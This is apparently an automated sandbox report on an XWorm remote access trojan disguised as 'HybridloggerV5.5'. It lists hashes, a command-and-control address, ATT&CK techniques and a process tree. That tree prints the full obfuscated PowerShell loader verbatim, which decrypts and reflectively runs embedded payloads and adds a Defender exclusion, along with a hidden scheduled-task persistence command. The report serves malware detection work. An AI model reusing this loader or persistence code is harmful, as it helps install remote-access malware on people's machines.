xworm | 9be892fdf9ada41f19c410d1a6510fda9839fc849dc9a69ff292a6b89fe240e7

Analysis

max time kernel
77s
max time network
80s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26/01/2025, 08:10

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General

Target

HybridloggerV5.5 (1).exe
Size

937KB
MD5

c9314841cdbf8522e9ee925039d3bfb7
SHA1

1b851459626862fdae6bdc0dd30aadf7a0f905ee
SHA256

9be892fdf9ada41f19c410d1a6510fda9839fc849dc9a69ff292a6b89fe240e7
SHA512

fb6e8ed3ccae472e19b95f9a1a08968fea7a6457b8d30a35d5f49f466fdf34d321c4cc0d427e753a9063d88456277e8c1d592c5ec1413c96593938b4be778bd0
SSDEEP

24576:61P4yldcwy+Q4sUTB95/MbGkR/ntFdHZknwaIZ1cSsDrM:YP4yj4+Q4sUTB95/MbGkfFdmnwanpM

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

193.161.193.99:24469

Attributes

Install_directory
%Temp%
install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4024-53-0x000001A73F7B0000-0x000001A73F7C6000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 6 IoCs

flow	pid	Process
9	4024	powershell.exe
18	4024	powershell.exe
34	4024	powershell.exe
46	4024	powershell.exe
47	4024	powershell.exe
51	4024	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2636	powershell.exe
4024	powershell.exe
2636	powershell.exe
2624	powershell.exe
4024	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	HybridloggerV5.5 (1).exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystem.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystem.lnk	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2636	powershell.exe
2636	powershell.exe
2624	powershell.exe
2624	powershell.exe
4024	powershell.exe
4024	powershell.exe
4024	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeIncreaseQuotaPrivilege	2624	powershell.exe
Token: SeSecurityPrivilege	2624	powershell.exe
Token: SeTakeOwnershipPrivilege	2624	powershell.exe
Token: SeLoadDriverPrivilege	2624	powershell.exe
Token: SeSystemProfilePrivilege	2624	powershell.exe
Token: SeSystemtimePrivilege	2624	powershell.exe
Token: SeProfSingleProcessPrivilege	2624	powershell.exe
Token: SeIncBasePriorityPrivilege	2624	powershell.exe
Token: SeCreatePagefilePrivilege	2624	powershell.exe
Token: SeBackupPrivilege	2624	powershell.exe
Token: SeRestorePrivilege	2624	powershell.exe
Token: SeShutdownPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeSystemEnvironmentPrivilege	2624	powershell.exe
Token: SeRemoteShutdownPrivilege	2624	powershell.exe
Token: SeUndockPrivilege	2624	powershell.exe
Token: SeManageVolumePrivilege	2624	powershell.exe
Token: 33	2624	powershell.exe
Token: 34	2624	powershell.exe
Token: 35	2624	powershell.exe
Token: 36	2624	powershell.exe
Token: SeIncreaseQuotaPrivilege	2624	powershell.exe
Token: SeSecurityPrivilege	2624	powershell.exe
Token: SeTakeOwnershipPrivilege	2624	powershell.exe
Token: SeLoadDriverPrivilege	2624	powershell.exe
Token: SeSystemProfilePrivilege	2624	powershell.exe
Token: SeSystemtimePrivilege	2624	powershell.exe
Token: SeProfSingleProcessPrivilege	2624	powershell.exe
Token: SeIncBasePriorityPrivilege	2624	powershell.exe
Token: SeCreatePagefilePrivilege	2624	powershell.exe
Token: SeBackupPrivilege	2624	powershell.exe
Token: SeRestorePrivilege	2624	powershell.exe
Token: SeShutdownPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeSystemEnvironmentPrivilege	2624	powershell.exe
Token: SeRemoteShutdownPrivilege	2624	powershell.exe
Token: SeUndockPrivilege	2624	powershell.exe
Token: SeManageVolumePrivilege	2624	powershell.exe
Token: 33	2624	powershell.exe
Token: 34	2624	powershell.exe
Token: 35	2624	powershell.exe
Token: 36	2624	powershell.exe
Token: SeIncreaseQuotaPrivilege	2624	powershell.exe
Token: SeSecurityPrivilege	2624	powershell.exe
Token: SeTakeOwnershipPrivilege	2624	powershell.exe
Token: SeLoadDriverPrivilege	2624	powershell.exe
Token: SeSystemProfilePrivilege	2624	powershell.exe
Token: SeSystemtimePrivilege	2624	powershell.exe
Token: SeProfSingleProcessPrivilege	2624	powershell.exe
Token: SeIncBasePriorityPrivilege	2624	powershell.exe
Token: SeCreatePagefilePrivilege	2624	powershell.exe
Token: SeBackupPrivilege	2624	powershell.exe
Token: SeRestorePrivilege	2624	powershell.exe
Token: SeShutdownPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeSystemEnvironmentPrivilege	2624	powershell.exe
Token: SeRemoteShutdownPrivilege	2624	powershell.exe
Token: SeUndockPrivilege	2624	powershell.exe
Token: SeManageVolumePrivilege	2624	powershell.exe
Token: 33	2624	powershell.exe
Token: 34	2624	powershell.exe
Token: 35	2624	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4024	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2932 wrote to memory of 2360	2932	HybridloggerV5.5 (1).exe	83
PID 2932 wrote to memory of 2360	2932	HybridloggerV5.5 (1).exe	83
PID 2932 wrote to memory of 1616	2932	HybridloggerV5.5 (1).exe	85
PID 2932 wrote to memory of 1616	2932	HybridloggerV5.5 (1).exe	85
PID 2360 wrote to memory of 1396	2360	cmd.exe	87
PID 2360 wrote to memory of 1396	2360	cmd.exe	87
PID 1616 wrote to memory of 5068	1616	cmd.exe	88
PID 1616 wrote to memory of 5068	1616	cmd.exe	88
PID 5068 wrote to memory of 2204	5068	net.exe	89
PID 5068 wrote to memory of 2204	5068	net.exe	89
PID 1616 wrote to memory of 2636	1616	cmd.exe	90
PID 1616 wrote to memory of 2636	1616	cmd.exe	90
PID 2636 wrote to memory of 2624	2636	powershell.exe	92
PID 2636 wrote to memory of 2624	2636	powershell.exe	92
PID 2636 wrote to memory of 4768	2636	powershell.exe	96
PID 2636 wrote to memory of 4768	2636	powershell.exe	96
PID 4768 wrote to memory of 2672	4768	WScript.exe	97
PID 4768 wrote to memory of 2672	4768	WScript.exe	97
PID 2672 wrote to memory of 5072	2672	cmd.exe	99
PID 2672 wrote to memory of 5072	2672	cmd.exe	99
PID 5072 wrote to memory of 3916	5072	net.exe	100
PID 5072 wrote to memory of 3916	5072	net.exe	100
PID 2672 wrote to memory of 4024	2672	cmd.exe	101
PID 2672 wrote to memory of 4024	2672	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5 (1).exe
"C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5 (1).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:2204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tzbNpPr1z3nGvgbpSokBMPfW5jnpdEOgrRJQ/JKp40o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WGsJ0QdC6jC+sSlmc6qolg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpRNZ=New-Object System.IO.MemoryStream(,$param_var); $zCfEW=New-Object System.IO.MemoryStream; $OjVcm=New-Object System.IO.Compression.GZipStream($HpRNZ, [IO.Compression.CompressionMode]::Decompress); $OjVcm.CopyTo($zCfEW); $OjVcm.Dispose(); $HpRNZ.Dispose(); $zCfEW.Dispose(); $zCfEW.ToArray();}function execute_function($param_var,$param2_var){ $buZKU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xpTey=$buZKU.EntryPoint; $xpTey.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$oovly = 'C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat';$host.UI.RawUI.WindowTitle = $oovly;$ywjFO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oovly).Split([Environment]::NewLine);foreach ($ANKGG in $ywjFO) { if ($ANKGG.StartsWith(':: ')) { $oFhCt=$ANKGG.Substring(3); break; }}$payloads_var=[string[]]$oFhCt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $oovly;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_63_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_63.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2624
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_63.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4768
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_63.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2672
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5072
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:3916
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tzbNpPr1z3nGvgbpSokBMPfW5jnpdEOgrRJQ/JKp40o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WGsJ0QdC6jC+sSlmc6qolg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpRNZ=New-Object System.IO.MemoryStream(,$param_var); $zCfEW=New-Object System.IO.MemoryStream; $OjVcm=New-Object System.IO.Compression.GZipStream($HpRNZ, [IO.Compression.CompressionMode]::Decompress); $OjVcm.CopyTo($zCfEW); $OjVcm.Dispose(); $HpRNZ.Dispose(); $zCfEW.Dispose(); $zCfEW.ToArray();}function execute_function($param_var,$param2_var){ $buZKU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xpTey=$buZKU.EntryPoint; $xpTey.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$oovly = 'C:\Users\Admin\AppData\Roaming\startup_str_63.bat';$host.UI.RawUI.WindowTitle = $oovly;$ywjFO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oovly).Split([Environment]::NewLine);foreach ($ANKGG in $ywjFO) { if ($ANKGG.StartsWith(':: ')) { $oFhCt=$ANKGG.Substring(3); break; }}$payloads_var=[string[]]$oFhCt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $oovly;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1cc5e033811a5d520bb4a6904b5c433b

SHA1
c159a342ed372790600b3a6ac97e274638a0ce9a

SHA256
9e20052dd29dfcd8220dcf271acd3e27f9d6b785d72531043741ef349b48c7a8

SHA512
dd8b57e50382a7a84aea3986c3ae8a38ade0fb84a5c9696339487022321be12f08aff9d47455a28137e31a8632cda2490dcf0332c6b3c72e7cfdd10e63e4f429

Download Submit
C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat

Filesize
12KB

MD5
89a22d3791ca38666c8144725a74497d

SHA1
96b672089a3c783e4dd27e8da7c0cc1245d55cfd

SHA256
9326ad90526504bfbc876646087bf41a82128fd5d995f624b13ea7ef3e154b94

SHA512
6b73d4fde3a673be8ea4aa169382b8aed1577817193545666a18cc83e918a642adf464090f2c1938b0f75f322e8e18e5304bf15c8eda71b4c072aaea5c294b2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat

Filesize
910KB

MD5
72ecd938d114e246eeebc8ae430fc2e9

SHA1
9ece59be22ceadcb3951093483cc69a76658801d

SHA256
4eafc8d12d2e402d7de955ffa3940c070d40dea9f2eda1260962518204304f65

SHA512
d2839e5226f9753f5098072b5cb7ab0f30318f3255355ae69fc75efc0ecfced89eb74788716b01a511e2461fa1c21052a336c1873aa82ef411cb710c4f14059e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tpkont2o.l5n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_63.vbs

Filesize
114B

MD5
8bee97e0ecff5f9d522811b292e99a7d

SHA1
271d574cb0b65dbe5f74b5f2b7c3095dd01c030a

SHA256
892710808a83975f59dcc1ee2c8683b1fb557f9a906ea42942373d7e406668dd

SHA512
b5d88b8e031e34f90e5a71e3169b2c44f8f93239d36021468bd7be22148e28a6c21df884e49004fb004c7e4b9bd5dd3ccb45d076fd3095240a90c91a2ad86f11

Download Submit
memory/2636-13-0x000001BADB8C0000-0x000001BADB8E2000-memory.dmp

Filesize
136KB

Download
memory/2636-21-0x000001BADBB10000-0x000001BADBB18000-memory.dmp

Filesize
32KB

Download
memory/2636-22-0x000001BADBB40000-0x000001BADBB78000-memory.dmp

Filesize
224KB

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memory/2932-0-0x00007FFD6F323000-0x00007FFD6F325000-memory.dmp

Filesize
8KB

Download
memory/2932-1-0x00000000006B0000-0x00000000007A0000-memory.dmp

Filesize
960KB

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memory/4024-53-0x000001A73F7B0000-0x000001A73F7C6000-memory.dmp

Filesize
88KB

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